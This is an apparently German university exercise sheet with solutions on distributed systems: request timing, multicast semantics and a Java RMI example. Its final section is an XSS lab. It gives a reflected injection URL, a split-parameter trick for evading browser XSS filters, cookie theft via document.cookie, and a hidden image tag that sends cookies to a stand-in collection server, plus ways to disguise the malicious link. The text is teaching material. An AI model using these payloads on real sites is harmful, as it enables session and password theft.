Übungsblatt 2: Kommunikation und XSS

Transkript

1 Wintersemester 2012/2013 Verteilte Systeme Universität Paderborn Fachgebiet Rechnernetze Übungsblatt 2: Kommunikation und XSS Synchron vs. Asynchron Ausgehend vom Zeitpunkt 0 rechne ein 100 ms bevor er die Daten für eine -Anfrage ermittelt hat. Es sei angenommen, dass der 500 ms an der Anfrage rechnet bevor er die Antwort zurück sendet. Die Übertragung vom zum bzw. vom zum dauere jeweils 50 ms. Nachdem der Prozess auf dem insgesamt 500 ms gerechnet hat, werden die vom erhaltenen Daten gebraucht. Die Verarbeitung der Daten dauere weitere 100 ms. Zu welchem Zeitpunkt ist der frühestens mit der vollständigen Abarbeitung der erhaltenen daten fertig, wenn die folgenden Anfragemodi vorausgesetzt sind. Skizzieren Sie die Abarbeitung auch in Form eines Zeitdiagramms. (a) Synchrone Anfrage. (b) Asynchrone Anfrage. Lösung: (a) Synchron: msc Synchron 500ms 400ms Result: 1200ms Verteilte Systeme WS 2011/12 Übungsblatt 2 1

2 (b) Asychron: msc Asynchron 400ms 500ms Result: 800ms 2 Gruppenkommunikation In der Vorlesung wurden die folgenden Begriffe eingeführt: Reliable Multicast, FIFO Multicast, Causal Multicast, Atomic Multicast und Total Multicast. (a) Erklären Sie die Semantik dieser Begriffe. (b) Geben Sie zu den in Abb. 1 abgebildeten Beispielen jeweils die passende Multicast-Semantik an. (c) Geben Sie jeweils ein Beispiel an, wo ein Atomic Multicast bzw. ein Causal Multicast Sinn macht. Beispiel 1 Beispiel 2 Beispiel 3 Beispiel 4 Lösung: Abbildung 1: Multicast Beispiele. Bestimmen Sie hierzu die passende Semantik. (a) Siehe Vorlesungsfolien Verteilte Systeme WS 2011/12 Übungsblatt 2 2

3 (b) Lösung FIFO atomic causal Beispiel 1 No No No reliable Beispiel 2 No Yes No atomic Beispiel 3 Yes No Yes causal Beispiel 4 Yes No No FIFO (c) Atomic Multicast: Bankkonto, Befehle add 100 und multiply 1.01 (Zinsen), dürfen nicht vertauscht werden. Causal Multicast: Forum, Antwort auf eine Frage sollte nicht vor der Frage sichtbar werden. 3 Java RMI Betrachten Sie im Folgenden einen, welcher eine Funktion zur Addition zweier Zahlen bereitstellt. Ein rufe die -Funktion durch Übergabe zweier Parameter auf und erhalte nach erfolgreicher Berechnung das Ergebnis zurück. (a) Implementieren Sie und mithilfe des Java RMI-Konzepts. (b) Skizzieren Sie den Ablauf ihres RMI-Programms. Berücksichtigen Sie hierbei auch die Erstellung von Stubs und die versteckte Kommunikation zwischen und. Lösung: (a) SimpleRemoteMessage: p u b l i c i n t e r f a c e SimpleRemoteMessage extends j a v a. rmi. Remote { i n t add ( i n t a, i n t b ) throws j a v a. rmi. RemoteException ; import import import j a v a. rmi. ; j a v a. rmi. r e g i s t r y. ; j a v a. rmi. s e r v e r. ; p u b l i c c l a s s S i m p l e S e r v e r extends j a v a. rmi. s e r v e r. U n i c a s t R e m o t e O b j e c t implements SimpleRemoteMessage { / r e g i s t r y h o l d i n g t h e remote o b j e c t s / p r i v a t e j a v a. rmi. r e g i s t r y. R e g i s t r y o b j e c t R e g i s t r y ; p r o t e c t e d S i m p l e S e r v e r ( i n t p o r t ) throws j a v a. rmi. RemoteException { t r y { / / c o n n e c t t o t h e RMI r e g i s t r y o b j e c t R e g i s t r y = j a v a. rmi. r e g i s t r y. L o c a t e R e g i s t r y. c r e a t e R e g i s t r y ( p o r t ) ; / / a s s i g n t h i s c l a s s as " example " o b j e c t R e g i s t r y. bind ( " example ", t h i s ) ; Verteilte Systeme WS 2011/12 Übungsblatt 2 3

4 System. o u t. p r i n t l n ( " S e r v e r r e a d y on p o r t " + j a v a. rmi. r e g i s t r y. R e g i s t r y. REGISTRY_PORT ) ; catch ( j a v a. rmi. RemoteException e ) { / / s e t t i n g up t h e r e g i s t r y f a i l e d throw e ; catch ( j a v a. rmi. AlreadyBoundException e ) { / / a l r e a d y bound ( s h o u l d n o t happen ) throw new RuntimeException ( e ) p u b l i c i n t add ( i n t a, i n t b ) { System. o u t. p r i n t l n ( " add ( ) g o t c a l l e d r e m o t e l y! " ) ; return a + b ; p u b l i c s t a t i c void main ( S t r i n g [ ] a r g s ) { t r y { new S i m p l e S e r v e r ( ) ; catch ( RemoteException e ) { System. e r r. p r i n t l n ( " F a i l u r e i n t h e RMI s e r v e r : " + e ) ; import j a v a. rmi. NotBoundException ; import j a v a. rmi. RemoteException ; p u b l i c c l a s s S i m p l e C l i e n t { p u b l i c s t a t i c void main ( S t r i n g [ ] a r g s ) { SimpleRemoteMessage my ; j a v a. rmi. r e g i s t r y. R e g i s t r y s e r v e r R e g i s t r y ; S t r i n g s e r v e r A d d r e s s = " " ; / / args [ 0 ] ; S t r i n g s e r v e r P o r t = " 7620 " ; / / args [ 1 ] ; i n t p o r t = I n t e g e r. valueof ( s e r v e r P o r t ) ; t r y { / / a t t a c h t o t h e remote r e g i s t r y s e r v e r R e g i s t r y = j a v a. rmi. r e g i s t r y. L o c a t e R e g i s t r y. g e t R e g i s t r y ( s e r v e r A d d r e s s, p o r t ) ; / / f e t c h t h e s e r v e r o b j e c t my = ( SimpleRemoteMessage ) s e r v e r R e g i s t r y. lookup ( " example " ) ; Verteilte Systeme WS 2011/12 Übungsblatt 2 4

5 / / perform t h e a c t u a l RMI c a l l System. o u t. p r i n t l n ( " = " + my. add ( 4 2, 5 8 ) ) ; catch ( RemoteException e ) { System. e r r. p r i n t l n ( " Got an remote e x c e p t i o n : " + e. getmessage ( ) ) ; e. p r i n t S t a c k T r a c e ( ) ; catch ( NotBoundException e ) { System. e r r. p r i n t l n ( " Remote r e g i s t r y doesn t know echo s e r v e r. " ) ; e. p r i n t S t a c k T r a c e ( ) ; (b) Message Sequence Chart: msc Ablauf Object RMI RMI Object bind(...) lookup(...) connect OK create Stub return Stub looks like local add(...) add(...) sum sum Verteilte Systeme WS 2011/12 Übungsblatt 2 5

6 4 Cross Site Scripting (XSS) XSS bezeichnet das Einschleusen von HTML Code auf fremden Internetseiten. Dieser HTML Code wird dazu verwendet um einen Angriff auf einen, der die Internetseite besucht, durchzuführen. Für diese Übung benötigen Sie eine virtuelle Maschine. Diese steht unter /home-e/fg-karl/verteiltesysteme/webserver.ova als Download aus dem Uni Netz bereit und enthält eine Standard Installation von Debian mit dem Webserver Apache2. Nutzen Sie eine Software, wie z.b. das frei erhältliche VirtualBox, um diese auf Ihrem Computer auszuführen. Nutzen Sie zum Login den Benutzer root und das Passwort verteiltesysteme 1. Laden Sie die Datei xss.html von unser Internetseite und speichern Sie diese in der virtuellen Maschine unter /var/www/xss.php (Bitte beachten Sie hierbei die Dateiendung!). Führen Sie den Befehl chown www-data:www-data /var/www aus, um der Datei die benötigten Berechtigungen zuzuweisen. 2. Suchen Sie Sicherheitslücken in dem php Script und zeigen Sie, wie Sie diese ausnutzen können, um einen XSS Angriff auf einen anderen nutzen können. (Hinweis: Es reicht aus, sich den von dem php Script erzeugten HTML Code anzuschauen.) Die Sicherheitslücke besteht darin, dass die Formulardaten des Calculators über GET versendet werden und vor der Ausgabe der Parameter nicht geprüft wird, ob es sich bei den Parametern um gültige Eingaben (Zahlen) handelt. Daher kann eine URL erstellt werden, die über Parameter der URL Schadcode in die Seite einschleust: Eine korrekte URL sieht folgendermaßen aus: Dies kann verändert werden zu: language="javascript"> alert("bla");</script>&b=4&action=calc 3. Moderne Browser (wie z.b. Google Chrome 15.x) erkennen das einschleusen von JavaScript Code über Parameter in der URL. Erläutern Sie, wie Sie diese XSS Abwehrmaßnahmen moderner Browser umgangen haben. Moderne Browser überprüfen jeden einzelnen Parameter, ob dieser gültigen JavaScript-Code enthält. Ist dies der Fall, wird dieses JavaScript nicht ausgeführt. Umgehen kann man dies folgendermaßen: Wir haben zwei Parameter, a und b, die unsicher sind. Also verwenden wir beide Parameter so, dass diese für sich genommen fehlerhaften JavaScript- Code enthalten, zusammengenommen jedoch beide Code-Fragmente gültig sind. Wir setzen a auf: und b auf: < s c r i p t l a n g u a g e = j a v a s c r i p t > v a r b l a = " Verteilte Systeme WS 2011/12 Übungsblatt 2 6

7 " ; echo " foo " ; </ s c r i p t > Daraus resultiert im HTML-Code der Seite folgendes: < s c r i p t l a n g u a g e = j a v a s c r i p t > v a r b l a = " + " ; echo " foo " ; </ s c r i p t > 4. Nutzen Sie XSS um das Passwort eines Benutzers abzugreifen. das Passwort und der Username werden im Cookie der Website im Plaintext gespeichert. Diese Informationen sind in JavaScript in der Variable document.cookie zugreifbar. Ein echo document.cookie gibt somit die Zugangsdaten aus. 5. Sie wollen die erbeuteten Zugangsdaten nun automatisch durch das eingeschleuste Java-Script an einen weiteren senden, damit dieser die Daten speichert. Dies soll geschehen, ohne, dass der Benutzer dies bemerkt. Welche Methoden können hierbei zum Einsatz kommen? Entscheiden Sie sich für eine Methode und setzen Sie diese um. Die Daten könnten per Ajax im Hintergrund an einen anderen versendet werden. Aber das ist viel zu aufwendig. Einfacher geht das so: < s c r i p t l a n g u a g e = j a v a s c r i p t > v a r b l a = " + " ; document. w r i t e ( < img width ="0 px " h e i g h t ="0 px " s r c =" h t t p : / / www. f r e m d e r S e r v e r. org / c o l l e c t. php? d a t a =" + document. cookie ) ; </ s c r i p t > Damit wird das Script collect.php auf einem fremden aufgerufen, der mit den übergebenen Daten machen kann, was er will. 6. Die Links, die bei dem reflexiven XSS eingesetzt werden, sind sehr auffällig. Diskutieren Sie Methoden um den Inhalt dieser Links zu verschleiern. Dienste wie zb. machen lange URLs kurz. Dazu wird eine lange URL, wie zb. language="javascript"> alert("bla");</script>&b=4&action=calc in eine URL ala umgewandet. Nachdem diese aufgerufen wird, erscheint jedoch die originale, lange URL in der Browserzeile. Daher muss das JavaScript noch um folgende Zeile erweitert werden: document.location=" Damit wird die URL direkt, nachdem das Passwort abgegriffen wurde, wieder geändert. Verteilte Systeme WS 2011/12 Übungsblatt 2 7